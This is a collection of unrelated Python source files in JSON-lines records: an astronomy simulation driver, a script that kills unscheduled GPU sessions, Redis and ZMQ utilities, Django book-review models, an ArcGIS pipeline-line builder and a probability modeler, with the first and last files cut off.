LSSTEBWorker()\n\tworker.filterFilesRoot = '/projects/p30137/ageller/EBLSST/input/filters/'\n\tworker.filters = filters\n\t#os.environ['PYSYN_CDBS'] = '/projects/p30137/ageller/PySynphotData'\n\tprint(f\"PYSYN_CDBS environ = {os.environ['PYSYN_CDBS']}\")\n\t#check for command-line arguments\n\tapply_args(worker, args)\t\n\tif (worker.seed is None):\n\t\tworker.seed = 1234\n\tworker.seed += rank\n\n\t#redefine the OpSim fieldID, RA, Dec and the run through the rest of the code\n\tfields = fieldData.T\n\tOpS = OpSim()\n\tOpS.dbFile = '/projects/p30137/ageller/EBLSST/input/db/baseline2018a.db' #for the OpSim database\t\n\tOpS.getCursors()\n\tOpS.fieldID = fields[0]\n\tOpS.RA = fields[1]\n\tOpS.Dec = fields[2]\n\tOpS.obsDates = np.full_like(OpS.RA, dict(), dtype=dict)\n\tOpS.NobsDates = np.full_like(OpS.RA, dict(), dtype=dict)\n\tOpS.m_5 = np.full_like(OpS.RA, dict(), dtype=dict)\n\tOpS.totalNobs = np.full_like(OpS.RA, 0)\n\t#this will contain the distribution of dt times, which can be used instead of OpSim defaults\n\t#OpS.obsDist = pickle.load(open(\"OpSim_observed_dtDist.pickle\", 'rb'))\n\n\tworker.OpSim = OpS\n\t#worker.OpSim.verbose = True\n\n\n\n\tgalDir = os.path.join(galModelDir, str(rank))\n\tif not os.path.exists(galDir):\n\t\tos.makedirs(galDir)\n\tworker.galDir = galDir\n\n\tworker.galArchiveDir = '/projects/p30137/ageller/EBLSST/input/TRILEGALmodels/'\n\n\t#add a delay here to help with the get_trilegal pileup?\n\t#time.sleep(5*rank)\n\n\n\tofile = worker.ofile\n\tfor i in range(len(fields[0])):\n\t\tworker.n_bin = args.n_bin\n\t\tif (worker.OpSim.fieldID[i] not in finishedIDs and worker.OpSim.fieldID[i] != -1):\n\t\t\t#initialize\n\t\t\tprint(f\"RANK={rank}, OpSimi={i}, ID={worker.OpSim.fieldID[i]}\")\n\t\t\tpassed = worker.initialize(OpSimi=i) #Note: this will not redo the OpSim class, because we've set it above\n\t\n\t\t\t#set up the output file\n\t\t\tworker.ofile = 'output_files/'+str(int(worker.OpSim.fieldID[i])).zfill(4) + ofile\n\n\t\t\t#check if this is a new file or if we are appending\n\t\t\tappend = False\n\t\t\tif os.path.exists(worker.ofile):\n\t\t\t\tn = file_len(worker.ofile)\n\t\t\t\t#in this scenario, the first few lines were written but it died somewhere. In this case, we don't write headers. Otherwise, just start over\n\t\t\t\tif (n >= 3):\n\t\t\t\t\tappend = True\n\n\n\t\t\tif (append):\n\t\t\t\tworker.n_bin -= (n-3)\n\t\t\t\tprint(f'appending to file {worker.ofile}, with n_bins = {n-3}')\n\t\t\t\tcsvfile = open(worker.ofile, 'a')\t\n\t\t\telse:\n\t\t\t\tprint(f'creating new file {worker.ofile}')\n\t\t\t\tcsvfile = open(worker.ofile, 'w')\t\n\n\t\t\tworker.csvwriter = csv.writer(csvfile, delimiter=',', quotechar='|', quoting=csv.QUOTE_MINIMAL)\n\n\t\t\t#write header, this will not contain the galaxy Nstars number\n\t\t\tif (not append and not passed):\n\t\t\t\tworker.writeOutputLine(OpSimi=i, header=True)\n\t\t\t\tcsvfile.flush()\n\n\t\t\tif (passed):\n\n\n\t\t\t\t#run through ellc and gatspy\n\t\t\t\tworker.getGalaxy(i)\n\t\t\t\tgxDat = worker.sampleGalaxy()\n\n\t\t\t\t#write header, this will contain the galaxy Nstars number\n\t\t\t\tif (not append):\n\t\t\t\t\tworker.writeOutputLine(OpSimi=i, header=True)\n\t\t\t\t\tcsvfile.flush()\n\n\t\t\t\tprint(f'Nlines in gxDat={len(gxDat)} for ID={worker.OpSim.fieldID[i]}')\n\n\t\t\t\tfor j, line in enumerate(gxDat):\n\t\t\t\t\tline = gxDat[j]\n\t\n\t\t\t\t\t#define the binary parameters\n\t\t\t\t\ttry:\n\t\t\t\t\t\tworker.getEB(line, OpSimi=i)\n\t\t\t\t\t\tprint(f\"RANK={rank}, OpSimi={i}, linej={j}, ID={worker.OpSim.fieldID[i]}, pb={worker.EB.period}\")\n\t\t\n\t\t\t\t\t\tif (worker.EB.observable):\n\t\t\t\t\t\t\tworker.run_ellc()\n\t\t\t\t\t\t\tif (worker.EB.observable):\n\t\t\t\t\t\t\t\tworker.run_gatspy()\n\t\t\n\t\t\t\t\t\tworker.writeOutputLine()\n\t\t\t\t\t\tcsvfile.flush()\n\t\t\t\t\texcept:\n\t\t\t\t\t\tprint(\"WARNING: bad input line\", line)\n\t\t\telse:\n\t\t\t\tworker.writeOutputLine(OpSimi=i, noRun=True)\n\t\t\t\tcsvfile.flush()\n\t\n\t\n\t\t\tcsvfile.close()\n\n\t\t#get ready for the next field\n\t\tworker.Galaxy = None\n\t\tworker.BreivikGal = None\n\t\t\n\n\n\n\n","sub_path":"code/newMPIdriver.py","file_name":"newMPIdriver.py","file_ext":"py","file_size_in_byte":8166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"577092832","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nModule: reaper.py\nAuthor: zlamberty\nCreated: 2018-07-05\n\nDescription:\n this kills the crab.\n\n had to install a bunch of shit. key install statement:\n pip install --user --upgrade pyOpenSSL\n\nUsage:\n \n\n\"\"\"\n\nimport argparse\nimport datetime\nimport logging\nimport logging.config\nimport os\n\nimport launch\n\nfrom apiclient.discovery import build\nfrom google.oauth2 import service_account\nfrom httplib2 import Http\nfrom oauth2client import file, client, tools\n\n\n# ----------------------------- #\n# Module Constants #\n# ----------------------------- #\n\nG_CAL_ID = 'datamininglab.com_6taegbbncqqjuv6pum1fo61ej8@group.calendar.google.com'\nSCOPES = 'https://www.googleapis.com/auth/calendar.readonly'\n\nHERE = os.path.dirname(os.path.realpath(__file__))\nLOGGER = logging.getLogger('reaper')\n\n\n# ----------------------------- #\n# Main routine #\n# ----------------------------- #\n\ndef get_approved_sessions(google_calendar_id, f_cred):\n \"\"\"check all running sessions against the official google calendar (GPU BOX)\n\n args:\n google_calendar_id (str): the google calendar id for the gpu box cal\n f_cred (str): file path to the credentials file used in the oauth step\n\n returns:\n list: list of summary dictionaries for sessions that were ICED\n\n raises:\n None\n\n \"\"\"\n # Setup the Calendar API (manual user method)\n store = file.Storage('credentials.json')\n creds = store.get()\n if not creds or creds.invalid:\n flow = client.flow_from_clientsecrets(f_cred, SCOPES)\n flags = argparse.Namespace(\n noauth_local_webserver=True, logging_level=\"INFO\"\n )\n creds = tools.run_flow(flow, store, flags=flags)\n service = build('calendar', 'v3', http=creds.authorize(Http()))\n\n # setup the calendar api (service account method)\n # I created a service account for this, it's defined, but it requires\n # domain-wide delegation of my user account to it and that is something I\n # cannot do on my own. see:\n # https://developers.google.com/api-client-library/php/auth/service-accounts\n #credentials = service_account.Credentials.from_service_account_file(\n # f_cred, scopes=[SCOPE]\n #)\n #service = build('calendar', 'v3', credentials=credentials)\n\n # Call the Calendar API\n now = datetime.datetime.utcnow()\n then = now + datetime.timedelta(seconds=600)\n now = now.isoformat() + 'Z' # 'Z' indicates UTC time\n then = then.isoformat() + 'Z'\n events_result = service.events().list(\n calendarId=google_calendar_id,\n timeMin=now,\n timeMax=then,\n singleEvents=True,\n orderBy='startTime'\n ).execute()\n\n return [\n {\n 'email': event['creator']['email'],\n 'env': event['summary'].split()[0],\n 'username': event['summary'].split()[1],\n }\n for event in events_result['items']\n ]\n\n\ndef reap(google_calendar_id, f_cred):\n \"\"\"kill any currently running session that is not scheduled on the gcal\n\n this will be extremely aggressive by default\n\n args:\n google_calendar_id (str): the google calendar id for the gpu box cal\n f_cred (str): file path to the credentials file used in the oauth step\n\n returns:\n list: list of summary dictionaries for sessions that were ICED\n\n raises:\n None\n\n \"\"\"\n approved_sessions = get_approved_sessions(google_calendar_id, f_cred)\n current_active_sessions = [\n session\n for session in launch.active_eri_images(ignore_other_images=True)\n if session['imagetype'] in launch.GPU_IMAGES\n ]\n\n for session in current_active_sessions:\n approved = False\n for approved_session in approved_sessions:\n if approved_session['username'] == session['username']:\n are_both_prod = (\n approved_session['env'] == 'prod'\n and session['imagetype'] in launch.PROD_IMAGES\n )\n are_both_dev = (\n approved_session['env'] == 'dev'\n and session['imagetype'] in launch.DEV_IMAGES\n )\n if are_both_prod or are_both_dev:\n approved = True\n\n # if they aren't approved here, ICE\n if not approved:\n launch.kill(docker_id=session['id'])\n print('killed session: {}'.format(session))\n\n\n\n# ----------------------------- #\n# Command line #\n# ----------------------------- #\n\ndef parse_args():\n \"\"\"Take a log file from the commmand line\"\"\"\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\n '-c', '--google_calendar_id', help='google calendar id',\n default=G_CAL_ID\n )\n\n parser.add_argument(\n '-f', '--f_cred', help=\"google calendar app credentials file\"\n )\n\n return parser.parse_args()\n\n\nif __name__ == '__main__':\n args = parse_args()\n reap(\n google_calendar_id=args.google_calendar_id,\n f_cred=args.f_cred\n )\n","sub_path":"app/reaper.py","file_name":"reaper.py","file_ext":"py","file_size_in_byte":5086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"427924900","text":"#!/usr/bin/env python3\nimport time\nimport zmq\nimport json\n\nCOLORDSOCK = \"/tmp/duckycolord\"\n\nctx = zmq.Context()\nsocket = ctx.socket(zmq.PUSH)\nsocket.connect(\"ipc://{}\".format(COLORDSOCK))\n\nmsg = {\"basecolor\": [0x00, 0xaa, 0x00]}\nsocket.send(json.dumps(msg).encode(\"utf-8\"))\n\nsocket.close()\n\n","sub_path":"all_green.py","file_name":"all_green.py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"235484419","text":"import arcpy\nimport math\nimport itertools\nimport datetime\nimport dateutil.parser\nimport time\nimport uuid\nimport win32com.client\nimport cd3_common as cobb_common\n\nlog_name = 'Cobb'\n\nstate_lookup = {\n 'OH': ('dg13', 'ds03'),\n 'PA': ('dg15', 'ds05'),\n 'VA': ('dg16', 'ds06')\n}\n\nbase_fields = [\n 'JOB_FILENAME', # 9\n 'GPS_JOBORDERNUMBER', # 10\n 'GPS_OPERATORNAME', # 11\n 'COLLECTIONTYPE', # 12\n 'GPS_POINTCOLLECTIONDATE', # 13\n 'GPS_EQUIPMENT_RECEIVER', # 14\n 'ABANDON_INDICATOR' # 15\n]\n\npoint_fields = [\n 'OID@',\n 'QASTATUS',\n 'GPS_OPERATORCOMPANY', # 2\n 'VENDOR_FOLDER', # 3\n 'POINTRECORD_ID', # 4\n 'DATECREATED', # 5\n 'DATEMODIFIED', # 6\n 'GISID', # 7\n 'POINT_CODE'\n]\npoint_shape = ['SHAPE@XY', 'SHAPE@Z'] # -2, -1\n\nline_shape = ['SHAPE@'] # -1\nline_fields = [\n 'FOOTAGE3D',\n 'OID@',\n 'GPS_OPERATORCOMPANY',\n 'FACILITYTYPE',\n 'ALGORITHM_VERSION',\n 'FOOTAGE_DATE',\n 'GISID_FK_START',\n 'GISID_FK_END',\n 'UNIQUEID'\n]\n\nmain_point_fields = point_fields + base_fields + ['FACILITYTYPE'] + point_shape\nservice_point_fields = point_fields + base_fields + point_shape\npipe_line_fields = line_fields + base_fields + line_shape\n\n\n# region Last Run Time\n\ndef select_delivery_prefix(is_delivery):\n return 'D' if is_delivery else 'A'\n\n\ndef build_last_runtime_where(fc_name, is_deliverable):\n return \"\"\"\"ITEMKEY\" = '{}_{}_CobblerLastDateTime'\"\"\".format(fc_name, select_delivery_prefix(is_deliverable))\n\n\ndef find_last_runtime(state_abb, fc_name, is_deliver):\n where = build_last_runtime_where(fc_name, is_deliver)\n settings_db = r\"connections\\{}_sde.sde\".format(get_gps_db(state_abb))\n with arcpy.da.SearchCursor(settings_db + '/NISOURCE.GPSIntegrationSettings', ['ItemKey', 'ItemValue'],\n where) as cursor:\n for trow in cursor:\n return trow[1]\n\n\ndef save_last_runtime(state_abb, fc_name, is_deliver, last_time):\n where = build_last_runtime_where(fc_name, is_deliver)\n settings_db = r\"connections\\{}_sde.sde\".format(get_gps_db(state_abb))\n with arcpy.da.UpdateCursor(settings_db + '/NISOURCE.GPSIntegrationSettings', ['ItemKey', 'ItemValue'],\n where) as cursor:\n for trow in cursor:\n trow[1] = last_time\n cursor.updateRow(trow)\n\n\n# endregion\n\ndef find_existing_points_tuples(search_fc, search_fields_points, where):\n lst = []\n with arcpy.da.SearchCursor(search_fc, search_fields_points, where) as cursor:\n for trow in cursor:\n pt = (trow[-2][0], trow[-2][1], trow[-1])\n lst.append((trow, pt))\n # sort by vendor folder, job filename, point record id\n return sorted(lst, key=lambda x: (x[0][search_fields_points.index(\"VENDOR_FOLDER\")],\n x[0][search_fields_points.index(\"JOB_FILENAME\")],\n x[0][search_fields_points.index(\"POINTRECORD_ID\")]\n )\n )\n\n\ndef find_existing_lines_tuples(search_fc, search_fields_lines, where):\n lst = []\n with arcpy.da.SearchCursor(search_fc, search_fields_lines, where) as cursor:\n for trow in cursor:\n if trow[-1] is None:\n continue\n first_point = trow[-1].firstPoint\n last_point = trow[-1].lastPoint\n # tuple with x, y, z, aban indicator\n loc_tuple = (\n (first_point.X, first_point.Y, first_point.Z), (last_point.X, last_point.Y, last_point.Z), trow[-2])\n lst.append((loc_tuple, trow))\n # sorted by Point Collection Date\n return sorted(lst, key=lambda x: (x[1][search_fields_lines.index(\"GPS_POINTCOLLECTIONDATE\")]))\n\n\ndef calc_distance_tuple(p0, p1):\n return math.sqrt((p0[0] - p1[0]) ** 2 + (p0[1] - p1[1]) ** 2 + (p0[2] - p1[2]) ** 2)\n\n\ndef pairwise(iterable):\n \"\"\"s -> (s0,s1), (s1,s2), (s2, s3), ...\"\"\"\n a, b = itertools.tee(iterable)\n next(b, None)\n return itertools.izip(a, b)\n\n\n# region Deleting\n\ndef chunks(l, n):\n \"\"\"Yield successive n-sized chunks from l.\"\"\"\n for i in range(0, len(l), n):\n yield l[i:i + n]\n\n\ndef make_where(oid_list):\n for chunk in chunks(oid_list, 500):\n oid_string = \",\".join([str(s) for s in chunk])\n yield '\"OBJECTID\" IN ({})'.format(oid_string)\n\n\ndef del_man(fc_del, expression):\n vw = fc_del + '_TabView'\n if not arcpy.Exists(vw):\n arcpy.MakeTableView_management(fc_del, vw)\n arcpy.SelectLayerByAttribute_management(vw, \"NEW_SELECTION\", expression)\n\n num_rows = int(arcpy.GetCount_management(vw).getOutput(0))\n if num_rows > 0:\n arcpy.DeleteRows_management(vw)\n return num_rows\n\n\ndef delete_gp(fc_del, list_oids):\n fc_count = 0\n for where in make_where(list_oids):\n fc_count += del_man(fc_del, where)\n\n\n# endregion\n\ndef find_jxl(search_fc, where_clause):\n lst = list()\n with arcpy.da.SearchCursor(search_fc, [\"VENDOR_FOLDER\", \"JOB_FILENAME\"], where_clause) as cursor:\n for jrow in cursor:\n lst.append((jrow[0], jrow[1]))\n return set(lst)\n\n\ndef create_new_line_segments(point_feature_class, search_fields_points, where_points, max_delta):\n v_f_points = find_existing_points_tuples(point_feature_class, search_fields_points, where_points)\n if len(v_f_points) == 0:\n return []\n\n v_f_seg_lines_list = list()\n for pair1, pair2 in pairwise(v_f_points):\n # look for Fac Type break\n if 'FACILITYTYPE' in search_fields_points:\n if pair1[0][-3] is None:\n tup1 = (pair1[0][:-3] + ('MAIN',) + pair1[0][-2:], pair1[1])\n else:\n tup1 = pair1\n if pair2[0][-3] is None:\n tup2 = (pair2[0][:-3] + ('MAIN',) + pair2[0][-2:], pair2[1])\n else:\n tup2 = pair2\n else:\n tup1 = (pair1[0][:-2] + ('SERVICE LINE',) + pair1[0][-2:], pair1[1])\n tup2 = (pair2[0][:-2] + ('SERVICE LINE',) + pair2[0][-2:], pair2[1])\n\n distance = calc_distance_tuple(tup1[1], tup2[1])\n abn_ind = 'Y' if (tup1[0][search_fields_points.index(\"ABANDON_INDICATOR\")] == 'Y') | \\\n (tup2[0][search_fields_points.index(\"ABANDON_INDICATOR\")] == 'Y') \\\n else 'N'\n connect_line = True\n\n if tup1[0][-3] != tup2[0][-3]:\n connect_line = False\n if distance > max_delta:\n connect_line = False\n if distance == 0:\n connect_line = False\n if connect_line:\n v_f_seg_lines_list.append(((tup1[1], tup2[1], abn_ind), tup1, tup2, distance))\n\n return v_f_seg_lines_list\n\n\ndef cobble_fc(fc_logger, env, state_name, point_fc, line_fc, qa_clause, fc_point_fields, fc_line_fields, delta, is_del,\n time_travel_amount):\n line_name = 'Main' if 'Main' in line_fc else 'Service'\n last_runtime = dateutil.parser.parse(find_last_runtime(state_name, line_name, is_del))\n start_datetime = last_runtime - time_travel_amount\n last_datetime_formatted = start_datetime.strftime(\"%Y-%m-%d %H:%M:%S\")\n\n # make a view (?) to assist with performance\n vw = line_fc + '_TabView'\n if not arcpy.Exists(vw):\n fc_logger.info(\"Creating a view: {}\".format(vw))\n arcpy.MakeTableView_management(point_fc, vw)\n\n date_field = 'DATECREATED' if is_del else 'DATEMODIFIED'\n last_touched = \"\"\"\"{}\" > TO_DATE('{}','YYYY-MM-DD HH24:MI:SS')\"\"\".format(date_field, last_datetime_formatted)\n # for approved, do not include the qa clause since points can drop out of 1000\n if is_del:\n last_touched += \" AND \" + qa_clause\n\n set_jxl_tuples = find_jxl(point_fc, last_touched)\n\n batch_count = 0\n\n edit = arcpy.da.Editor(env)\n edit.startEditing(False, True)\n edit.startOperation()\n\n for jxl_tuple in list(set_jxl_tuples)[:2]:\n fc_logger.info(jxl_tuple[1])\n v_f_where = \"\"\"\"VENDOR_FOLDER\" = '{}' AND \"JOB_FILENAME\" = '{}'\"\"\".format(jxl_tuple[0],\n jxl_tuple[1])\n where = v_f_where + ' AND ' + qa_clause\n v_f_lines_new = create_new_line_segments(point_fc, fc_point_fields, where, delta)\n\n # grab the existing lines - NOTE _ no vendor folder\n v_f_where_lines = \"\"\"\"JOB_FILENAME\" = '{}'\"\"\".format(jxl_tuple[1])\n v_f_lines_existing = find_existing_lines_tuples(line_fc, fc_line_fields, v_f_where_lines)\n\n delete_lines_oids = [item[1][1] for item in v_f_lines_existing if item[0] not in [i[0] for i in v_f_lines_new]]\n if len(delete_lines_oids) > 0:\n fc_logger.info('Deleting {} lines...'.format(len(delete_lines_oids)))\n delete_gp(line_fc, delete_lines_oids)\n\n create_lines = [item for item in v_f_lines_new if item[0] not in [i[0] for i in v_f_lines_existing]]\n if len(create_lines) > 0:\n num_lines_created, batch_count = insert_lines(edit, env, batch_count, line_fc, create_lines,\n fc_point_fields, fc_line_fields, is_del)\n fc_logger.info('Created {} lines...'.format(num_lines_created))\n\n edit.stopOperation()\n if batch_count == 0:\n edit.stopEditing(False)\n else:\n edit.stopEditing(True)\n\n save_last_runtime(state_name, line_name, is_del, datetime.datetime.utcnow().isoformat())\n\n\ndef insert_lines(current_editor, env, current_batch_count, line_fc, list_lines, fields_for_points, fields_for_lines,\n is_del):\n counter = 0\n batch_size = 100000\n with arcpy.da.InsertCursor(line_fc, tuple(fields_for_lines)) as iCursor:\n for line in list_lines:\n corrected_company = cobb_common.extract_vendor(line[1][0][fields_for_points.index(\"VENDOR_FOLDER\")],\n line[1][0][fields_for_points.index(\"GPS_OPERATORCOMPANY\")])\n array = arcpy.Array()\n array.add(arcpy.Point(line[0][0][0], line[0][0][1], line[0][0][2]))\n array.add(arcpy.Point(line[0][1][0], line[0][1][1], line[0][1][2]))\n row = (line[3], # Footage\n None, # Object Id\n corrected_company, # Vendor\n line[1][0][-3], # Facility Type\n 'Cobb_V0.03', # Algo version\n line[1][0][fields_for_points.index(\"DATECREATED\")] if is_del\n else line[1][0][fields_for_points.index(\"DATEMODIFIED\")], # Footage Date\n line[1][0][fields_for_points.index(\"GISID\")], # GISID_FK_START\n line[2][0][fields_for_points.index(\"GISID\")], # GISID_FK_END\n '{' + str(uuid.uuid4()) + '}', # Unique Id\n line[1][0][fields_for_points.index(\"JOB_FILENAME\")], # Job File Name\n line[1][0][fields_for_points.index(\"GPS_JOBORDERNUMBER\")], # Job Order Number\n line[1][0][fields_for_points.index(\"GPS_OPERATORNAME\")], # Operator Name\n line[1][0][fields_for_points.index(\"COLLECTIONTYPE\")], # Collection Type\n line[1][0][fields_for_points.index(\"GPS_POINTCOLLECTIONDATE\")], # Collection Date\n line[1][0][fields_for_points.index(\"GPS_EQUIPMENT_RECEIVER\")], # Equipment\n line[0][2], # Aban Indic\n arcpy.Polyline(array, None, True)\n )\n iCursor.insertRow(row)\n counter += 1\n current_batch_count += 1\n if current_batch_count > batch_size:\n current_editor.stopOperation()\n current_editor.stopEditing(True)\n\n current_batch_count = 0\n\n current_editor.startEditing(False, True)\n current_editor.startOperation()\n\n return counter, current_batch_count\n\n\ndef get_gis_db(state_abbrev):\n return state_lookup[state_abbrev][1]\n\n\ndef get_gps_db(state_abbrev):\n return state_lookup[state_abbrev][0]\n\n\ndef get_time_travel(is_deliverable):\n days = 1 if is_deliverable else 7\n return datetime.timedelta(days)\n\n\ndef get_qa_where(is_deliverable):\n if is_deliverable:\n return \"\"\"\"QASTATUS\" > 100\"\"\"\n else:\n return \"\"\"\"QASTATUS\" = 1000 AND \"POINTUSAGE\" IN (100, 200, 300)\"\"\"\n\n\ndef cobble_unit(state_abbrev, is_deliverable, is_main):\n log_file = '{}_{}_{}_{}'.format(log_name, state_abbrev,\n 'Delivered' if is_deliverable else 'Approved',\n 'Main' if is_main else 'Service')\n state_logger = cobb_common.setup_logging(log_file)\n state_logger.info(\"Starting {}...\".format(log_file))\n\n app = win32com.client.Dispatch(\"Miner.Framework.Dispatch.MMAppInitializeDispatch\")\n runtime = win32com.client.Dispatch(\"Miner.Framework.Dispatch.MMRuntimeEnvironmentDispatch\")\n au = win32com.client.Dispatch('Miner.Framework.Dispatch.MMAutoupdaterDispatch')\n runtime.RuntimeMode = 0x4 # mmRuntimeModeArcServer\n app.Initialize(0x5)\n au.AutoUpdaterMode = 0x8 # mmAUMNoEvents\n # au.AutoUpdaterMode = 0x4 # mmAUMStandAlone\n\n dest_env = r\"connections\\{}_sde.sde\".format(\n get_gps_db(state_abbrev) if is_deliverable else get_gis_db(state_abbrev))\n\n time_travel_amount = get_time_travel(is_deliverable)\n qa_where = get_qa_where(is_deliverable)\n\n source_fc = dest_env + '/NISOURCE.GPS_GasMain_Point' if is_main else dest_env + '/NISOURCE.GPS_ServiceLine_G_Point'\n dest_fc = dest_env + '/NISOURCE.GPS_GasMain_Line' if is_main else dest_env + '/NISOURCE.GPS_ServiceLine_G_Line'\n\n fields = main_point_fields if is_main else service_point_fields\n\n delta = 20 if is_main else 15\n\n # print 'Cobble'\n cobble_fc(\n state_logger,\n dest_env,\n state_abbrev,\n source_fc,\n dest_fc,\n qa_where,\n fields,\n pipe_line_fields,\n delta,\n is_deliverable,\n time_travel_amount)\n\n state_logger.info(\"Completed\")\n\n app.Shutdown\n del app, runtime, au\n\n\nif __name__ == \"__main__\":\n main_logger = cobb_common.setup_logging(log_name)\n main_logger.info(\"Starting program...\")\n\n start = time.clock()\n main_logger.info(datetime.datetime.now())\n\n states = [\n # 'OH',\n # 'PA',\n 'VA'\n ]\n\n for curr_state in states:\n # cobble_unit(curr_state, True, True) # GPS Main\n cobble_unit(curr_state, True, False) # GPS Service\n # cobble_unit(curr_state, False, True) # GIS Main\n # cobble_unit(curr_state, False, False) # GIS Service\n\n main_logger.info(datetime.datetime.now())\n elapsed = (time.clock() - start)\n main_logger.info(\"Execution time: {}\".format(elapsed))\n main_logger.info('Main Done')\n","sub_path":"cobbler_dot3/cd3_cobbler.py","file_name":"cd3_cobbler.py","file_ext":"py","file_size_in_byte":14707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"165958031","text":"import cv2\nimport numpy as np\nimport pdb\nimport matplotlib.pyplot as plt\n# Visualize heatmap\n\ndef getConfidenceImage(dist, segcpimg_crop, clrs):\n num_points = dist.shape[2]\n m,n,_ = segcpimg_crop.shape\n bbox = [1,1,n,m]\n background = 1-cv2.Canny(cv2.cvtColor(cv2.convertScaleAbs(segcpimg_crop), cv2.COLOR_BGR2GRAY), 100, 200)\n background_pure = cv2.cvtColor(segcpimg_crop, cv2.COLOR_BGR2GRAY),\n pdf_img = 0.2*np.tile(background, (3,1,1)) + 0.8*(np.zeros(shape=(3,bbox[3], bbox[2]))+1)\n\n # normalize the distributions for visualization\n\n for c in range(num_points-1, -1, -1):\n alpha = np.tile(dist[:,:,c]/np.max(dist[:,:,c]), (3,1,1))\n single_joint_pdf = np.ndarray.transpose(np.tile([clrs[c,0], clrs[c,2], clrs[c,1]], (dist.shape[0], dist.shape[1], 1)), (2,0,1))\n pdf_img = np.multiply(alpha, single_joint_pdf) + np.multiply((1-alpha), pdf_img)\n\n return np.ndarray.transpose(pdf_img, (1,2,0)), background_pure","sub_path":"python/pose/getConfidenceImage.py","file_name":"getConfidenceImage.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"646088795","text":"# coding: utf-8\n\n# a.py\nimport redis\nimport time\n\nr = redis.Redis(host='127.0.0.1', port=6379, db=0)\nr.setex(name='test-name', value='val', time=1)\n\n# b.py\nimport redis\n\nr = redis.Redis(host='127.0.0.1', port=6379, db=0)\nsub_expire = r.pubsub()\n# 事件通过 Redis 的订阅与发布功能(pub/sub)来进行分发,故需要订阅 __keyevent@0__:expired,其中0表示dbindex\nsub_expire.subscribe('__keyevent@0__:expired')\n\nwhile True:\n ex_pire = sub_expire.parse_response()\n print(ex_pire[0], ex_pire[1], ex_pire[2])\n","sub_path":"server/tests/test_redis_dingyue.py","file_name":"test_redis_dingyue.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"298708276","text":"from django.db import models\nfrom login_app.models import *\n\n#Validators\nclass BookManager(models.Manager):\n def validator(self, postData):\n errors = {}\n if len(postData['title']) < 1:\n errors['title'] = \"Must enter a book title\"\n if len(postData['new_author']) and len(postData['new_author']) < 4:\n errors['author'] = \"Author name must be more than 4 characters\"\n if len(postData['desc']) < 10:\n errors['desc'] = \"Description must be more than 10 characters\"\n if len(postData['review']) < 10:\n errors['review'] = \"Review must be longer than 10 characters\"\n return errors\n\nclass ReviewManager(models.Manager):\n def validator(self, postData):\n errors = {}\n if len(postData['review']) < 10:\n errors['review'] = \"Review must be longer than 10 characters\"\n return errors\n\n\n# Create your models here.\nclass Author(models.Model):\n name = models.CharField(max_length=50)\n created_at = models.DateTimeField(auto_now_add = True)\n updated_at = models.DateTimeField(auto_now = True)\n #books\n\nclass Book(models.Model):\n title = models.CharField(max_length=200)\n desc = models.TextField()\n author = models.ForeignKey(Author, related_name = \"books\", on_delete = models.CASCADE)\n added_by = models.ForeignKey(User, related_name = \"books_added\", on_delete = models.CASCADE)\n favorited_by = models.ManyToManyField(User, related_name=\"favorites\", blank=True)\n created_at = models.DateTimeField(auto_now_add = True)\n updated_at = models.DateTimeField(auto_now = True)\n #reviews\n objects = BookManager()\n\nclass Review(models.Model):\n content = models.TextField()\n rating = models.IntegerField()\n book = models.ForeignKey(Book, related_name = \"reviews\", on_delete = models.CASCADE)\n user = models.ForeignKey(User, related_name = \"reviews\", on_delete = models.CASCADE)\n created_at = models.DateTimeField(auto_now_add = True)\n updated_at = models.DateTimeField(auto_now = True)\n #likes\n objects = ReviewManager()\n\nclass Like(models.Model):\n review = models.ForeignKey(Review, related_name = \"likes\", on_delete = models.CASCADE)\n user = models.ForeignKey(User, related_name = \"likes\", on_delete = models.CASCADE)\n created_at = models.DateTimeField(auto_now_add = True)\n updated_at = models.DateTimeField(auto_now = True)\n","sub_path":"books_app/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"379303811","text":"import json\n\nwith open(\"/etc/ssowat/conf.json.persistent\", \"r\", encoding='utf-8') as jsonFile:\n data = json.load(jsonFile)\n if \"protected_urls\" in data:\n data[\"protected_urls\"].append(\"__DOMAIN____PATH__/admin\")\n else:\n data[\"protected_urls\"] = [\"__DOMAIN____PATH__/admin\"]\n\nwith open(\"/etc/ssowat/conf.json.persistent\", \"w\", encoding='utf-8') as jsonFile:\n\tjsonFile.write(json.dumps(data, indent=4, sort_keys=True))\n","sub_path":"conf/add_sso_conf.py","file_name":"add_sso_conf.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"149858914","text":"#ArithmeticCoding.py\n\n## Probability Modeler, adapted from Data Compression: The Complete Reference, Solomon, 1998\n\ndef probabilityModeler(inString):\n# Takes a string as input and returns a dictionary corresponding to\n# the normalized probabilities for each item in the string.\n\n totalCount = 0\n probDict = dict()\n\n # Get the counts\n for i in range(0,len(inString)):\n character = inString[i]\n if character in probDict.keys():\n probDict[character] += 1\n totalCount += 1\n else:\n probDict[character] = 1\n totalCount += 1\n\n # Normalize\n for i, j in probDict.items():\n probDict[i] = j/totalCount\n \n return probDict\n \n","sub_path":"CompressionMethodFiles/ArithmeticCoding.py","file_name":"ArithmeticCoding.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"194053016","text":"import time\nfrom CCL.RedisStore import cacheitem_info_prefix, conn\n\n__author__ = 'Fxdeco'\n\n\nclass CacheInfo:\n def StoreCacheInfo(cachename, cachetye, cachefields, indexfield=\"Id\"):\n cachetime = int(time.time())\n cii_name = 